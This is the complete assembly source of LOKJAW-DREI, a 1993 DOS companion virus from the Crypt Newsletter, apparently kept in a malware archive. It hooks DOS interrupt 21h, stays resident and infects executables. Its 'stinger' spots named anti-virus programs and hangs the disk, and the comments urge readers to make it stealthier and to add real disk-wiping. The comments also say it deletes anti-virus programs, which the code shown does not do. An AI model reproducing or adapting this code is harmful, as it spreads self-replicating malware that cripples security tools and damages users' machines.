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vxunderground
560 lines
15 KiB
NASM
560 lines
15 KiB
NASM
;LOKJAW-DREI: an .EXE-infecting spawning virus with retaliatory
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;anti-anti-virus capability. For Crypt Newsletter 12, Feb. 1993.
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;
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;LOKJAW-DREI is a resident spawning virus which installs itself in
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;memory using the same engine as the original Civil War/Proto-T virus.
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;It is simpler in that none of its addresses have to be
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;relative, an indirect benefit of the fact that the virus has no
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;"appending" quality. That means, LOKJAW doesn't alter its "host" files,
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;just like a number of other companion/spawning viruses published in
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;previous newsletters.
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;
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;LOKJAW hooks interrupt 21 and infects .EXE files on execution, creating
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;itself as companion .COMfile to the "host." Due to the inherent rules
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;of DOS, this ensures the virus will be executed before the "host" the
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;next time the infected program is used. In reality, LOKJAW is even
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;simpler than that. If not in memory, the first time the host is
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;called, LOKJAW will go resident and not even bother to load it.
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;In most cases, the user will assume a slight error and call the host
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;again, at which point it will function normally. LOKJAW will then infect
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;every subsequent .EXE file called. LOKJAW is very transparent in operation,
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;except when certain anti-virus programs (Integrity Master, McAfee's SCAN &
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;CLEAN, F-PROT & VIRSTOP and Central Point Anti-virus) are loaded.
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;
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;LOKJAW's "stinger" code demonstrates the simplicity of creating a strongly
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;retaliating virus by quickly deleting the anti-virus program before it
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;can execute and then displaying a "chomping" graphic. Even if the anti-
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;virus program cannot detect LOKJAW in memory, it will be deleted. This
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;makes it essential that the user know how to either remove the virus from
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;memory before beginning anti-virus measures, or at the least run the
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;anti-virus component from a write-protected disk. At a time when retail
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;anti-virus packages are becoming more complicated - and more likely that the
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;average user will run them from default installations on his hard file -
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;LOKJAW's retaliating power makes it a potentially very annoying pest.
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;A virus-programmer serious about inconveniencing a system could do a
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;number of things with this basic idea. They are;
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; 1. Remove the "chomp" effect. It is entertaining, but it exposes the virus
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; instantly.
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; 2. Alter the_stinger routine, so that the virus immediately attacks the
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; hard file. The implementation is demonstrated by LOKJAW-DREI, which
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; merely makes the disk inaccessible until a warm reboot if an anti-virus
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; program is employed against it. By placing
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; a BONA FIDE disk-trashing routine here, it becomes very hazardous for
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; an unknowing user to employ anti-virus measures on a machine where
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; LOKJAW or a LOKJAW-like program is memory resident. While LOCKAW and
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; LOKJAW-ZWEI will produce write-protect errors if an anti-virus program
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; is run against them from a write-protected diskette, LOKJAW-DREI
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; won't. It will recognize the anti-virus program, display the "chomp"
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; and mimic trashing the hard file. This effect makes the disk inacessible
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; until the machine is rebooted.
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;
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;The anti-anti-virus strategies are becoming more common in viral programming.
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;Mark Ludwig programmed the features of a direct-action retaliating
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;virus in his "Computer Virus Developments Quarterly." Peach, Groove and
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;Encroacher viruses attack anti-virus software by deletion of key files.
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;And in this issue, the Sandra virus employs a number
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;of anti-anti-virus features.
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;
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;The LOKJAW source listings are TASM compatible. To remove LOKJAW-ZWEI and
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;DREI infected files from a system, simply delete the "companion" .COM
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;duplicates of your executables. Ensure that the machine has been booted
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;from a clean disk. To remove the LOKJAW .COM-appending virus, at this
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;time it will be necessary for you to restore the contaminated files from
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;a clean back-up.
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;
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;Alert readers will notice the LOKJAW-ZWEI and DREI create their "companion"
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;files in plain sight. Generally, spawning viruses make themselves
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;hidden-read-only-system files. This is an easy hack and the code is supplied
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;in earlier issues of the newsletter. The modification is left to
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;the reader as an academic exercise.
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.radix 16
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cseg segment
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model small
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assume cs:cseg, ds:cseg, es:cseg
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org 100h
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oi21 equ endit
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filelength equ endit - begin
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nameptr equ endit+4
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DTA equ endit+8
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begin: jmp virus_install
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note:
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db '[l™‡kõ„W-dâ��].á�.šrã$ņd‰M–$'
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db 'ÅH‹$.pâ™Gâ†m.Œ$.….{pâ™Å”-Å].ûƒâ‹†¤Å,$“âÅ.”Ÿ.'
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db '€â˜ž.¥‰w$Àä×îâ' ;I.D. note: will doubtless
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;show up in VSUM
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;install
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virus_install: mov ax,cs ; reduce memory size
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dec ax
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mov ds,ax
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cmp byte ptr ds:[0000],5a
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jne cancel
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mov ax,ds:[0003]
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sub ax,100
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mov ds:0003,ax
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Zopy_virus:
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mov bx,ax ; copy to claimed block
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mov ax,es
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add ax,bx
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mov es,ax
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mov cx,offset endit - begin
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mov ax,ds
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inc ax
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mov ds,ax
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lea si,ds:[begin]
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lea di,es:0100
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rep movsb
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Grab_21:
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mov ds,cx ; hook int 21h
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mov si,0084h ;
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mov di,offset oi21
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mov dx,offset check_exec
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lodsw
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cmp ax,dx ;
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je cancel ; exit, if already installed
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stosw
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movsw
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push es
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pop ds
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mov ax,2521h ; revector int 21h to virus
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int 21h
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cancel: ret
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check_exec:
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pushf
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push es ; push everything onto the
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push ds ; stack
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push ax
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push bx
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push dx
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cmp ax,04B00h ; is the file being
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jne abort ; executed?
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;if yes, try the_stinger
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do_infect: call infect ; then try to infect
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abort: ; restore everything
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pop dx
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pop bx
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pop ax
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pop ds
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pop es
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popf
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Bye_Bye:
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; exit
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jmp dword ptr cs:[oi21]
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new_24h:
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mov al,3 ; critical error handler
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iret
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infect:
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mov cs:[name_seg],ds ; here, the virus essentially
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mov cs:[name_off],dx ; copies the name of the
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cld ; loaded file into a buffer
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mov di,dx ; so that it can be compared
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push ds ; against the default names
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pop es ; in the_stinger
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mov al,'.' ; subroutine
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repne scasb ; <--
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call the_stinger ; check for anti-virus load
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; and deploy the_stinger
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cld
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mov word ptr cs:[nameptr],dx
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mov word ptr cs:[nameptr+2],ds
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mov ah,2Fh
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int 21h
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push es
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push bx
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push cs
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pop ds
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mov dx,offset DTA
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mov ah,1Ah
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int 21h
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call searchpoint
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push di
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mov si,offset COM_txt
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mov cx,3
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rep cmpsb
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pop di
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jz do_com
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mov si,offset EXE_txt
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nop
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mov cl,3
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rep cmpsb
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jnz return
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do_exe: mov si,offset COM_txt
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nop
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call change_ext
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mov ax,3300h
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nop
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int 21h
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push dx
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cwd
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inc ax
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push ax
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int 21h
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Grab24h:
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mov ax,3524h
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int 21h
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push bx
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push es
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push cs
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pop ds
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mov dx,offset new_24h
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mov ah,25h
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push ax
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int 21h
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lds dx,dword ptr [nameptr] ;create the virus (unique name)
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xor cx,cx
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mov ah,05Bh
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int 21
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jc return1
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xchg bx,ax ;save handle
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push cs
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pop ds
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mov cx,filelength ;cx= length of virus
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mov dx,offset begin ;where to start copying
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mov ah,40h ;write the virus to the
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int 21h ;new file
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mov ah,3Eh ; close
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int 21h
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return1: pop ax
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pop ds
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pop dx
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int 21h
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pop ax
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pop dx
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int 21h
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mov si,offset EXE_txt
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call change_ext
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return: mov ah,1Ah
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pop dx
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pop ds
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int 21H
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ret
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do_com: call findfirst
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cmp word ptr cs:[DTA+1Ah],endit - begin
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jne return
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mov si,offset EXE_txt
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call change_ext
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call findfirst
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jnc return
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mov si,offset COM_txt
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call change_ext
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jmp short return
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searchpoint: les di,dword ptr cs:[nameptr]
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mov ch,0FFh
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mov al,0
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repnz scasb
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sub di,4
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ret
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change_ext: call searchpoint
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push cs
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pop ds
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movsw
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movsw
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ret
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findfirst: lds dx,dword ptr [nameptr]
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mov cl,27h
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mov ah,4Eh
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int 21h
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ret
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the_stinger:
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cmp word ptr es:[di-3],'MI' ;Integrity Master
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je jumptoass
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cmp word ptr es:[di-3],'XR' ;VIRX
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je jumptoass
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cmp word ptr es:[di-3],'PO' ;VIRUSTOP
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jne next1
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cmp word ptr es:[di-5],'TS'
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je jumptoass
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next1: cmp word ptr es:[di-3],'VA' ;AV = CPAV
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je jumptoass
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cmp word ptr es:[di-3],'TO' ;*prot = F-prot
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jne next2
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cmp word ptr es:[di-5],'RP'
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je jumptoass
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next2: cmp word ptr es:[di-3],'NA' ;*scan = McAfee's Scan.
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jne next3
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cmp word ptr es:[di-5],'CS'
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je jumptoass
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cmp word ptr es:[di-3],'NA' ;*lean = McAfee's CLEAN.
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jne next3 ; why not, eh?
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cmp word ptr es:[di-5],'EL'
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je jumptoass
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next3: ret
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jumptoass: jmp chomp ;assassination (deletion)
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; of anti-virus program
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chomp:
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push cs ; chomper visual
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pop ds
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mov ah, 03h
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int 10h
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mov [c1], bh ; save cursor
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mov [c2], dh
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mov [c3], dl
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mov [c4], ch
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mov [c5], cl
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mov ah, 1
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mov cl, 0
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mov ch, 40h
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int 10h
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mov cl, 0
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mov dl, 4Fh
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mov ah, 6
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mov al, 0
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mov bh, 0Fh
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mov ch, 0
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mov cl, 0
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mov dh, 0
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mov dl, 4Fh
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int 10h
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mov ah, 2
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mov dh, 0
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mov dl, 1Fh
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mov bh, 0
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int 10h
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mov dx,offset eyes ; print the eyes
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mov ah, 9
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mov bl, 0Fh
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int 21h
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mov ah, 2
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mov dh, 1
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mov dl, 0
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int 10h
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mov ah, 9
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mov al, 0DCh
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mov bl, 0Fh
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mov cx, 50h
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int 10h
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mov ah, 2
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mov dh, 18h
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mov dl, 0
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int 10h
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mov ah, 9
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mov al, 0DFh
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mov bl, 0Fh
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mov cx, 50h
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int 10h
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mov dl, 0
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chomp_1:
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mov ah, 2
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mov dh, 2
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int 10h
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mov ah, 9
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mov al, 55h
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mov bl, 0Fh
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mov cx, 1
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int 10h
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mov ah, 2
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mov dh, 17h
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inc dl
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int 10h
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mov ah, 9
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mov al, 0EFh
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mov bl, 0Fh
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int 10h
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inc dl
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cmp dl, 50h
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jl chomp_1
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mov [data_1], 0
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chomp_3:
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mov cx, 7FFFh ; delays
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locloop_4:
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loop locloop_4
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inc [data_1]
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cmp [data_1], 0Ah
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jl chomp_3
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mov [data_1], 0
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mov cl, 0
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mov dl, 4Fh
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chomp_5:
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mov ah, 6
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mov al, 1
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mov bh, [data_2]
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mov ch, 0Dh
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mov dh, 18h
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int 10h
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mov ah, 7
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mov al, 1
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mov bh, [data_2]
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mov ch, 0
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mov dh, 0Ch
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int 10h
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mov cx, 3FFFh ; delays
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locloop_6:
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loop locloop_6
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inc [data_1]
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cmp [data_1], 0Bh
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jl chomp_5
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mov [data_1], 0
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chomp_7:
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mov cx, 7FFFh ; delays
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locloop_8:
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loop locloop_8
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inc [data_1]
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cmp [data_1], 0Ah
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jl chomp_7
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mov ah, 6
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mov al, 0
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mov bh, [data_2]
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mov ch, 0
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mov cl, 0
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mov dh, 18h
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mov dl, 4Fh
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int 10h
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mov cl, 7
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mov ch, 6
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int 10h
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mov ah, 2
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mov bh, [c1]
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mov dh, [c2]
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mov dl, [c3]
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int 10h
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mov al, bh
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mov ah, 5
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int 10h
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mov ah, 1
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mov ch, [c4]
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mov cl, [c5]
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int 10h
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mov ax, 0003h
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int 10h ; sort of a cls
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mov ax, 00ffh
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mov si,0 ;scarey part: drive reads real
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scarey: lodsb ;fast ala Michelangelo-style
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mov ah,al ;over-write, but this routine only
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lodsb ;gets random bytes here for a
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and al,3 ;cylinder to READ
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mov dl,80h
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mov dh,al
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mov ch,ah
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mov cl,1
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mov bx,offset last ;buffer to read into
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mov ax,201h
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int 13h ;jump into a loop, effectively hang machine
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jmp short scarey ;yow! scarey! just think if this
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;was made by someone not as nice as
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;me.
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;It's not much of a stretch to
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;imagine a routine for thumping
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;the hard file in place of scarey.
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;A retaliating virus of this
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;nature is a distinct
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;possibility.
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EXE_txt db 'EXE',0
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COM_txt db 'COM',0
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eyes db '(o) (o)','$' ; ASCII eyes of Lockjaw
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data_1 db 0
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data_2 db 0
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last db 090H
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name_seg dw ?
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name_off dw ?
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c1 db 0
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c2 db 0
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c3 db 0
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c4 db 0
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c5 db 0
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note2: db 'Lokjaw-Drei'
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endit:
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cseg ends
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end begin
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